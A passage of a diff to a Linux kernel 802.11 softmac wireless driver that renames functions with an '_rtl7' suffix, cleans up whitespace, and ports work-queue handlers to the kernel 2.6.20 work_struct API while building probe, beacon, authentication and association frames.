dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ 